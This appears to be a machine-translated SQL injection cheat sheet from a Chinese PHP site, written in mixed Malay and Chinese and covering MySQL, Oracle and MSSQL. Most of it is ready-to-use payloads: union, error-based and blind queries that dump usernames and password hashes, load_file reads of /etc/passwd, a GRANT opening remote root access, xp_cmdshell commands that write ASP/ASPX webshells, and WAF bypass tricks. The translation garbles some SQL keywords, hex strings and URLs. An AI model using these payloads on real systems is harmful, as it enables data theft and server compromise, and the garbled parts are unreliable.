Kaedah serangan suntikan SQL boleh dibahagikan kepada suntikan eksplisit, suntikan ralat dan suntikan buta mengikut aplikasi memproses kandungan yang dikembalikan oleh pangkalan data.
Penyerang boleh terus mendapatkan kandungan yang diingini dalam kandungan antara muka semasa.
Hasil pulangan pertanyaan pangkalan data tidak dipaparkan pada halaman, tetapi aplikasi mencetak maklumat ralat pangkalan data ke halaman, jadi penyerang boleh membina Pernyataan ralat pangkalan data untuk mendapatkan kandungan yang dikehendaki daripada mesej ralat.
Hasil pertanyaan pangkalan data tidak boleh diperoleh daripada halaman intuitif Penyerang boleh mendapatkan apa yang mereka mahu dengan menggunakan logik pangkalan data atau melambatkan pelaksanaan perpustakaan pangkalan data. kandungan.
Mysql manual injection
?id=1' order by 4--+ ?id=0' union select 1,2,3,database()--+ ?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+ ?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+ group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name ?id=0' union select 1,2,3,group_concat(password) from users --+ group_concat 可替换为 concat_ws(',',id,users,password ) ?id=0' union select 1,2,3,password from users limit 0,1--+
error injection
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select \* from test where id=1 and geometrycollection((select \* from(select \* from(select user())a)b));
5 . multipoint()
select \* from test where id=1 and multipoint((select \* from(select \* from(select user())a)b));
6.polygon()
select \* from test where id=1 and polygon((select \* from(select \* from(select user())a)b));
7.multipolygon()
select \* from test where id=1 and multipolygon((select \* from(select \* from(select user())a)b));
8.linestring()
select \* from test where id=1 and linestring((select \* from(select \* from(select user())a)b));
9.multilinestring ( )
select \* from test where id=1 and multilinestring((select \* from(select \* from(select user())a)b));
10.exp()
select \* from test where id=1 and exp(\~(select \* from(select user())a)); 爆库:?id=1' and updatexml(1,(select concat(0x7e,(schema\_name),0x7e) from information\_schema.schemata limit 2,1),1) -- + 爆表:?id=1' and updatexml(1,(select concat(0x7e,(table\_name),0x7e) from information\_schema.tables where table\_schema='security' limit 3,1),1) -- + 爆字段:?id=1' and updatexml(1,(select concat(0x7e,(column\_name),0x7e) from information\_schema.columns where table\_name=0x7573657273 limit 2,1),1) -- + 爆数据:?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- + concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1) 盲注
Suntikan buta masa
Tidur fungsi biasa()
Split function substr , subrentetan, kiri
boleh dikodkan tanpa tanda petikan Ascii() hex()
Secara amnya, untuk suntikan buta, kita juga perlu menggunakan fungsi pertimbangan bersyarat
jika. (expre1 , expre2, expre3)
Apabila expre1 adalah benar, kembalikan expre2, apabila palsu, kembalikan expre3
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+ ?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+
Suntikan buta Boolean
?id=1' and substr((select user()),1,1)='r' -- + ?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- + //如果 IFNULL 第一个参数的表达式为 NULL,则返回第二个参数的备用值,不为 Null 则输出值 ?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- + //若所有的字符串均相同,STRCMP() 返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1 ,其它情况返回 1 insert,delete,update
Ini kind Injection akan muncul dalam pendaftaran, pengepala IP, papan mesej, dll. di mana data perlu ditulis Contohnya, menggunakan sqlmap akan menghasilkan sejumlah besar data sampah
Cuba untuk memasukkan, tanda petikan, petikan berganda. , dan aksara melarikan diri akan membuat pernyataan tidak normal, kemudian jika sisipan gagal, kemas kini gagal, dan kemudian ujian mendalam menentukan sama ada terdapat suntikan
Suntikan sekunder dan suntikan bait lebar
Suntikan sekunder:
Dalam pernyataan sql tanpa petikan tunggal, lakukan pengekodan heksadesimal supaya tiada petikan tunggal
suntikan bait lebar:
Petikan tunggal terlepas sebagai ' , mysql akan mengekodkannya sebagai %5c Dua bait dalam bait lebar mewakili aksara Cina, jadi menambah %df kepada %5c mengubahnya menjadi aksara Cina "luck", dengan itu memintas. melarikan diri
Suntikan Manual Oracle
Suntikan Lian
?id=-1' union select user,null from dual-- ?id=-1' union select version,null from v$instance-- ?id=-1' union select table\_name,null from (select \* from (select rownum as limit,table\_name from user\_tables) where limit=3)-- ?id=-1' union select column\_name,null from (select \* from (select rownum as limit,column\_name from user\_tab\_columns where table\_name ='USERS') where limit=2)-- ?id=-1' union select username,passwd from users-- ?id=-1' union select username,passwd from (select \* from (select username,passwd,rownum as limit from users) where limit=3)--
Suntikan Ralat
?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--?id=1' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))-- ?id=1' and 1=ctxsys.drithsx.sn(1,(select table\_name from (select rownum as limit,table\_name from user\_tables) where limit= 3))-- ?id=1' and 1=ctxsys.drithsx.sn(1,(select column\_name from (select rownum as limit,column\_name from user\_tab\_columns where table\_name ='USERS') where limit=3))-- ?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))--
Suntikan Buta Boolean?id=1' and 1=(select decode(user,'SYSTEM',1,0,0) from dual)--
?id=1' and 1=(select decode(substr(user,1,1),'S',1,0,0) from dual)--
?id=1' and ascii(substr(user,1,1))> 64--
?id=1' and 1=(case when ascii(substr(user,1,1))> 128 then DBMS\_PIPE.RECEIVE\_MESSAGE('a',5) else 1 end)--
?id=1' and 1=(case when ascii(substr(user,1,1))> 64 then DBMS\_PIPE.RECEIVE\_MESSAGE('a',5) else 1 end)--
Suntikan manual SQLTentukan sama ada titik suntikan wujud
dan kemudian masukkan
dan 1=1
dan 1=2
jika pulangan berbeza, anda boleh menentukan kewujudan titik suntikan
Contoh:
http://www.xxx.cn/news.php?p=1&id=4' Ralat pengembalian
http://www.xxx.cn/news.php?p=1&id=4 dan 1=1 kembali dengan betulhttp://www.xxx.cn/news.php?p =1&id=4 dan 1=2 mengembalikan ralatSuntikan aksara
url dan kemudian masukkan
' dan 1=1 dan '1'= '1' dan 1= 2 dan '1'='1http://www.xxx.cn/news.php?p=1&id=4' mengembalikan ralat http://www.xxx.cn/news.php?p=1&id=4' dan 1=1 dan '1'='1 kembali dengan betul http://www.xxx. .cn/news.php?p=1&id=4 ' dan 1=2 dan '1'='1 Ralat pengembalianSuntikan carian
Masukkan
' dalam kotak input Ralat kembali x%' dan 1=1 dan '%'=' mengembalikan betulx%' dan 1=2 dan '%'=' mengembalikan ralatNilai bilangan medan
Jenis nombor
Mencari medan yang boleh dipaparkan
Jenis angka
Jenis angka
Jenis angka
Nama pangkalan data juga boleh menggunakan heksadesimal
aksara
http://www.xxx.cn/news.php?p=1&id=4' dan 1=2 kesatuan pilih 1 ,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='database name' #
Nama pangkalan data juga boleh menggunakan perenambelasan
Jenis carian
X%' dan 1=2 kesatuan pilih 1,2,kumpulan_concat(nama_jadual),4,5 ,6,7, 8,9,.... from information_schema.tables where table_schema='database name' #
Nama pangkalan data juga boleh menggunakan heksadesimal
dalam jadual carian Nama lajur
Nombor
http://www.xxx.cn/news.php?p=1&id=4 dan 1=2 kesatuan pilih 1,kumpulan_concat(nama_lajur) ,3,4,5,6 ,7,8,9,10,11,12,13,14,15,16,17 daripada information_schema.columns di mana table_name='table name'
nama jadual juga Anda boleh menggunakan heksadesimal
jenis aksara
http://www.xxx.cn/news.php?p=1&id=4' dan 1=2 kesatuan pilih 1,kumpulan_concat(nama_lajur),3,4,5,6 ,7,8,9,10,11,12,13,14,15,16,17 daripada information_schema.columns where table_name='table name' #
Nama jadual juga boleh menggunakan heksadesimal
jenis carian
x%' dan 1=2 kesatuan pilih 1,2,kumpulan_concat(nama_lajur),4,5,6,7,8 ,9,.... daripada information_schema.columns di mana table_name='table name' #
Nama jadual juga boleh menggunakan heksadesimal
Cari data dalam jadual
Nombor
http ://www.xxx.cn/news.php?p=1&id=4 dan 1=2 kesatuan pilih 1,group_concat(nama pengguna,kata laluan),3,4, 5,6,7,8,9,10,11 ,12,13,14,15,16,17 daripada nama jadual
Jenis aksara
http://www.xxx.php?p=1&id=4' dan 1=2 kesatuan pilih 1,group_concat(nama pengguna,kata laluan),3,4,5,6,7,8,9,10,11,12,13,14 ,15,16,17 daripada nama jadual#
jenis carian
x%' dan 1=2 kesatuan pilih 1,2,group_concat(nama pengguna,kata laluan),4,5,6, 7,8,9,.... daripada nama jadual #
Versi paparan: pilih versi();
Paparkan set aksara: pilih @@character_set_database;
Paparan Pangkalan Data menunjukkan pangkalan data;
Paparkan nama jadual : tunjukkan jadual;
Paparkan nama komputer: pilih @@nama hos;
Paparkan versi sistem: pilih @@version_compile_os;
Tunjukkan laluan mysql: pilih @@basedir;
Tunjukkan laluan pangkalan data: pilih @@datadir;
Tunjukkan kata laluan akar: pilih Pengguna,Kata Laluan daripada mysql.user;
Buka sambungan luaran: BERIKAN SEMUA KEISTIMEWAAN KEPADA '. root'@'%' DIKENALPASTI OLEH '123456' DENGAN PILIHAN GERAN;
Penggunaan fungsi MySQL
MySQL menyediakan fungsi load_file(), yang boleh membantu Pengguna boleh membaca fail dengan cepat, tetapi lokasi fail mestilah pada pelayan, laluan fail mestilah laluan mutlak, dan kebenaran root diperlukan
Pernyataan SQL adalah seperti berikut: union select 1,load_file('/etc/passwd'),3 ,4,5 #
Biasanya, sesetengah pernyataan anti-suntikan tidak membenarkan berlakunya petikan tunggal, jadi anda boleh menggunakan pernyataan berikut untuk memintas:
union select 1,load_file(0x272F6574632F70617373776427),3, 4 ,5 #
Tukar laluan kepada perenambelasan.
MSSQL Manual Injection
Perbezaan daripada SQL injection ialah SQL menggunakan medan yang dipaparkan dan MSSQL menggunakan suntikan ralat untuk memasukkan pernyataan sql yang berniat jahat untuk membuat laporan pertanyaan ralat ralat yang dilaporkan, paparkan maklumat yang kita inginkan.
Titik suntikan:
www.xxx.cn/xxx/xxx.aspx?id=1
Versi pangkalan data pertanyaan
@@ versi: Pembolehubah global MSSQL, menunjukkan maklumat versi pangkalan data.
Pernyataan ujian:
http://www.xxx.cn/xxx/xxx.aspx?id=1 dan @@version>0
Nota: "dan @@vsersion>0" juga boleh ditulis sebagai "dan 0/@@version>0"
Mesej ralat:
Selepas menukar nilai nvarchar kepada 'Microsoft SQL Server 2008 R2 (SP3 ) - 10.50. 6000.34 (X64) 19 Ogos 2014 12:21:34 Hak Cipta (c) Microsoft Corporation Enterprise Edition (64-bit) pada Windows NT 6.1 Sebab: @@version ialah pembolehubah global MSSQL Jika kita menambah "dan @@version>0" selepas "?id=1", maka "dan" akan Pernyataan itu akan memaksa "@@version" ditukar kepada jenis int dan dibandingkan dengan 0, tetapi penukaran jenis gagal, jadi maklumat pangkalan data terdedah. @@nama pelayan: Pembolehubah global MSSQL, mewakili nama komputer. Mesej ralat: Gagal menukar nilai nvarchar 'WINDOWS-XXXXXX' kepada int jenis data. db_name(): Nama pangkalan data yang sedang digunakan. Mesej ralat: Gagal menukar nilai nvarchar ‘abc’ kepada int jenis data. Nama_Pengguna(): Pengguna yang sedang disambungkan ke pangkalan data. Mesej ralat: Gagal menukar nilai nvarchar 'dbo' kepada int jenis data. Nota: Jika anda melihat dbo, maka kebanyakan pengguna pangkalan data semasa mempunyai kuasa dba. Letup pangkalan data lain: http://www.xxx.cn/xxx/xxx.aspx?id=1 dan ( PILIH Nama 1 teratas DARI Master..SysDatabases)>0 Mesej ralat: Gagal semasa menukar nilai nvarchar 'master' kepada int jenis data. Pangkalan data lain menulis ini: http://www.xxx.cn/xxx/xxx.aspx?id=1 dan (PILIH 1 Nama teratas DARI Master.. SysDatabases di mana nama tidak dalam ('master'))>0 Jika anda ingin meneruskan, tulis seperti ini: http://www.xxx.cn/xxx/xxx.aspx?id= 1 dan (PILIH Nama 1 teratas DARI Master..SysDatabases di mana nama tiada dalam ('master','abc'))>0 Cari nama jadual: http://www.xxx.cn/xxx/xxx.aspx?id=1 dan (pilih nama 1 teratas daripada abc.sys.all_objects di mana type= 'U' AND is_ms_shipped=0)>0 Mesej ralat: Gagal menukar nilai nvarchar 'berlepas' kepada jenis data int. Jadual lain: http://www.xxx.cn/xxx/xxx.aspx?id=1 dan (pilih nama 1 teratas daripada abc.sys.all_objects di mana taip =' U' AND is_ms_shipped=0 and name not in ('depart'))>0 Teruskan: http://www.xxx.cn/xxx/xxx =1 dan (pilih nama 1 teratas daripada abc.sys.all_objects di mana type='U' AND is_ms_shipped=0 dan nama tiada dalam ('berlepas','pekerja'))>0 Semak nama medan: http://www.xxx.cn/xxx/xxx.aspx?id=1 dan ( pilih atas 1 COLUMN_NAME dari abc.information_schema.columns tempat TABLE_NAME='depart')>0 Mesej ralat: Gagal menukar nilai nvarchar 'ID' kepada int jenis data. Teroka medan lain: http://www.xxx.cn/xxx/xxx.aspx?id=1 dan (pilih 1 COLUMN_NAME teratas daripada abc . information_schema.columns di mana TABLE_NAME='depart' dan COLUMN_NAME tiada dalam ('ID'))>0 Teruskan: http://www.xxx.cn/xxx/ xxx. aspx?id=1 dan (pilih 1 teratas COLUMN_NAME daripada abc.information_schema.columns di mana TABLE_NAME='depart' dan COLUMN_NAME tiada dalam ('ID','NAME'))>0 Data pertanyaan: http://www.xxx.cn/xxx/xxx.aspx?id=1 dan (pilih 1 kata laluan teratas dari berlepas)>0 Mesej ralat: Gagal menukar nilai nvarchar 'B5A1EF8730200F93E50F4F5DEBBCAC0B' kepada int jenis data. Jika kebenaran data adalah dba dan mengetahui laluan mutlak tapak web, maka kita boleh menggunakan pernyataan ini untuk menulis ayat Trojan: asp Trojan: http://www.xxx.cn/xxx/xxx.aspx?id=1;exec master..xp_cmdshell 'echo "<%@ LANGUAGE=VBSCRIPT %> ;; <%eval request(chr(35))%>''" > d:KfSitekaifeng2.asp'-- aspx Trojan: http://www. xxx. cn/xxx/xxx.aspx?id=1;exec master..xp_cmdshell 'echo "<%@ LANGUAGE=Jscript %>;<%eval(Request("sb"),"unsafe")% > ''" >C:inetpubwwwroot2.aspx' -- Prinsipnya ialah pelayan sql menyokong pertanyaan bertindan. Anda boleh menggunakan xp_cmdshell untuk melaksanakan arahan cmd. Gunakan [echo content>file] dalam arahan cmd untuk menulis fail ke cakera. http://www.xxx.com/xxx/xxx.aspx?username=xxx Gunakan "Pengekodan HEX" di bawah Pengekodan alat bar godam dalam penyemak imbas Firefox Dengan mudah mengekod rentetan ke dalam hex yang boleh dieksploitasi, dan kemudian gunakan suntikan ralat untuk menyuntiknya ke dalam tapak web. pilih tukar(int,@@version) Selepas pengekodan heks: 0x73656c65637420636f6e76657274282696e7428696e4e76657274282696e7428696e47f76696e74f76696e 🎜> pilih tukar(int,db_name()) pilih tukar( int, User_Name()) pilih tukar(int,(pilih 1 nama teratas daripada abc[nama pangkalan data].sys.all_objects where type='U' AND is_ms_shipped = 0)) pilih tukar(int,(pilih nama 1 teratas daripada abc[nama pangkalan data].sys.all_objects where type='U' AND is_ms_shipped=0 dan name not in ('CMS_ArticleClass'))) pilih tukar(int,(pilih 1 teratas COLUMN_NAME daripada abc[nama pangkalan data].information_schema.columns di mana TABLE_NAME='CMS_Userinfo[nama jadual]')) pilih tukar(int,(pilih 1 COLUMN_NAME teratas daripada abc[nama pangkalan data ] ].information_schema.columns di mana TABLE_NAME='CMS_Userinfo[table name]' dan COLUMN_NAME tiada dalam ('id'))) pilih convert(int,( pilih nama pengguna 1 teratas daripada CMS_Admin)) pilih tukar(int,(pilih kata laluan 1 teratas daripada CMS_Admin)) 1.id-1 , jika halaman mengembalikan halaman yang betul, bermakna ada suntikan, bolehkah saya +1? (www.test.com/xsn.php?id=12+1) Tidak, kerana tanda tambah bermaksud ruang dalam URL. 2. Adakah anda tahu berapa banyak anotasi yang terdapat dalam mysql? Tiga jenis: ①.# Komen ini sehingga akhir baris ②./Komen berbilang baris/; Kaedah ketiga memerlukan penjelasan kerana saya tidak biasa dengan cara penulisan ini sebelum ini. Walaupun saya masih mempunyai beberapa tanggapan '-' sebagai watak komen, '-+' membuatkan saya sakit kepala. Sebenarnya, ia adalah -, sila ambil perhatian bahawa terdapat ruang selepas -. Jika anda memasukkan ruang terus dalam URL, penyemak imbas akan mengabaikannya secara automatik dan gagal menghantarnya ke pangkalan data. Jadi saya secara khusus menggantikannya dengan tanda tambah. 3. Bolehkah "pilih pilih * daripada pentadbir" dilaksanakan? Jika tidak, sila jelaskan. tidak boleh dilaksanakan Apabila menggunakan lapisan berganda pilih, anda mesti menyertakan yang kedua, jika tidak, ia akan menjadi tidak sah. Jika ruang ditapis keluar, adakah anda tahu cara memintasnya? Atau adakah anda tahu aksara mana yang boleh menggantikan ruang? Aksara ini dipanggil aksara ruang putih. Sebagai contoh, un%0aion akan dianggap sebagai kesatuan. Jika ruang ditapis, pernyataan sql yang mungkin akan menjadi: pilih daripada mesej di mana uid=45or1=1, kita boleh gunakan // untuk menggantikan ruang: http://www.xxx.com/index.php?id= 45 //atau/**/1=1 Selain itu: %09 %0A %0D + //–|/ /@–|/ /?–|/ /|%20–%20|/ boleh menggantikan ruang. 5 Apakah kebenaran pangkalan data Oracle di bawah Windows? Pangkalan data Oracle di bawah Windows mesti dijalankan dengan kebenaran sistem. 6. Apakah perbezaan antara suntikan SQL dan suntikan SQL buta? Dalam suntikan SQL biasa, aplikasi mengembalikan data dalam pangkalan data dan membentangkannya kepada anda, tetapi dalam kelemahan suntikan SQL buta, anda hanya boleh mendapatkan dua nilai berbeza yang sepadan dengan keadaan benar dan salah dalam suntikan. Sebagai tindak balas, aplikasi mengembalikan nilai yang berbeza untuk keadaan benar dan salah, tetapi penyerang tidak boleh mendapatkan semula hasil pertanyaan. 7. Apakah punca utama kelemahan suntikan SQL? Semakan data yang dibekalkan pengguna yang tidak mencukupi oleh aplikasi web dan kegagalan untuk mengekod output adalah punca utama masalah. 8. Apakah pertanyaan bertindan? Dalam sambungan pangkalan data tunggal, berbilang urutan pertanyaan dilaksanakan Sama ada pertanyaan bertindan dibenarkan ialah salah satu faktor penting yang mempengaruhi sama ada kelemahan suntikan SQL boleh dieksploitasi. Dalam MYSQL, SELECT * FROM ahli DROP boleh dilaksanakan Pangkalan data pasti menyokong pertanyaan bertindan, tetapi mungkin tidak boleh membenarkan PHP melaksanakan penyataan SQL bagi pertanyaan bertindan. /*!*/ Apakah maksudnya? Khusus untuk pangkalan data MYSQL, jika anda menambah tanda seru pada permulaan ulasan diikuti dengan nombor versi pangkalan data, maka ulasan itu akan dihuraikan menjadi kod selagi versi pangkalan data lebih tinggi daripada atau sama dengan versi yang terkandung dalam ulasan Kod akan dilaksanakan. pilih 1 /!40119 + 1/ Hasil pertanyaan: Return 2 (versi MySQL ialah 4.01.19 atau lebih tinggi) Return 1 (Situasi lain) 10 Bagaimana jika '=' dalam pernyataan suntikan ditapis? Anda boleh mempertimbangkan untuk menggunakan penggantian kata kunci seperti: kesatuan pilih kata laluan daripada pengguna di mana nama pengguna seperti pentadbir; 11. Pertimbangkan untuk menggunakan '/**/'Ganti: kesatuan//pilih//kata laluan//dari//pengguna//di mana//nama pengguna//like//admin; Perhatikan bahawa jika kata kunci ditapis, dalam MySQL, anda juga boleh menggunakan ulasan sebaris di dalam kata kunci untuk memintas: uni/ /on// sel//ect//password//fr//om//users//wh//ere//username//like//admin; '+ dalam suntikan SQL '? MSSQL: Dalam MSSQL, operator "+" digunakan untuk operasi penggabungan rentetan dan penambahan, '1'+'1'='11', 1+1=2; : Dalam MySQL, pengendali "+" hanya digunakan untuk operasi penambahan, '1'+'1'='2', 1+1=2; Oracle: Dalam Oracle, operator " +". hanya digunakan untuk operasi tambah, '1'+'1'='2', 1+1=2. 13. Apakah aksara gabungan rentetan dalam pangkalan data? MSSQL: 'a'+'b'='ab' MYSQL: 'a' 'b'='ab' Oracle: 'a'|| 'b'='ab' 14 Simbol ulasan MSSQL: '--' (perhatikan ruang selepas), '/.../' MySQL :'-- ','# ','/.../', ambil perhatian bahawa mesti ada satu atau lebih ruang selepas --. Oracle: '-- ','/.../' Dalam tiga pangkalan data, watak komen biasa ialah '-- ' Pintas WAF union/aaaa%01bbs/select union/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/select Ulasan sebaris: /!xxxx / MySQL空白符:%90,%0A,%0B,%0D,%20,%0C,%A0,/xxx/ 正则的空白符:%09,%0A,%0B,%0D,%20 Example-1:union%250Cselect Example-1:union%25A0select concat%2520( concat/**/( concat%250c( concat%25a0( select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0 select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0 select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0 Error-based SQL注入函数非常容易被忽略 MySQL特殊语法 select{x table_name}from{x information_schema.tables}; 以注释绕过为例子,开始Fuzz 注释符绕过: *先测试最基本的: union/**/select *再测试中间引入特殊字:union/aaaa%01bbs/select *最后测试注释长度:union/aaaaaaaaaaaaaaaaaaaaaaa/select 最基本的模式: union/something/select 大小写绕过 即使在程序中设置了过滤关键字,但由于过滤过程中没有深入分析组成关键字的部分,所以只能对整体进行过滤。 例如:and过滤。当然这种过滤只是发现关键字出现,并不会对关键字处理。可以通过修改关键字的内字母大小写来绕过过滤措施。 如果在程序中设置遇到关键字时将其替换为一个空字符串,那么将不会发生SQL注入攻击。对于这样的过滤策略可以使用双写绕过。因为在过滤过程中只进行了一次替换。 例如:过滤了union 只要发现union 无论大小写都会被替换为空。这是就可以通过双写uniunionon的写法来对过滤进行绕过。 可以利用网络中的URl在线编码,绕过SQL注入的过滤机制。 http://tool.chinaz.com/Tools/urlencode.aspx 1 在Mysql中内容注释中的内容可以被当做SQL语句执行。 Mysql一些特性: 1、Mysql中的大小写不敏感,大写和小写一样。 2、Mysql中的十六进制与URL编码。 3、符号和关键字替换 and --> &&、or --> || 4、内联注释与多行注释 /!内联注释/ /多行注释/。 5、Mysql中会自动识别URL与Hex编码好的内容。 绕过策略: 1、大小写变形,or,OR,oR,Or,and,And,AND,aND等。 2、在这两个敏感词汇中添加注释,例如:a/**/and 双写:oorr 3、利用符号替代 and–>&&、or–>|| 编码:hex,urlencode 空格URL编码: %0a 新建一行 %0c 新的一页 %0d return功能 %0b TAB键(垂直) Sqlmap安全检测: sqlmap -u “URL” --hex --dbs --batch 编码%0a、加入/**/符,union/select大小写、双写等绕过。 Atas ialah kandungan terperinci Apakah jenis suntikan SQL?. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!
Soal nama komputer
Soal nama pangkalan data semasa
Soal pengguna yang sedang disambungkan ke pangkalan data
Pertanyakan nama pangkalan data lain
Soal nama jadual dalam pangkalan data
jadual pertanyaan Nama lajur atau nama medan
Data letupan
Tulis ayat Trojan
Gunakan pengekodan hex untuk memintas WAF
Versi pangkalan data yang meletup
Letup pengguna semasa
Cemerlang
Medan letupan
Data letupan
Petua Soal Jawab suntikan SQL
Pintas peringkat peraturan
Pintas aksara ulasan SQL
kesatuan/**/select
函数分隔符号:
浮点数词法分析:
利用error_based进行SQL注入:extractvalue(1,concat(0x5c,md5(3)));
updatexml(1,concat(0x5d,md5(3)),1);
GeometryCollection((select * from (select * from
(select@@version)f)x))
polygon((select*from (select name_const(version(),1))x))
linestring()
multipoint()
multilinestring()
multipolygon()
每一个点都能找到绕过的方法
常规绕过手段
双写绕过
编码绕过
内联注释绕过
绕过过滤and和or的SQL注入
绕过去除空格的SQL注入
绕过去除(union和select)的SQL注入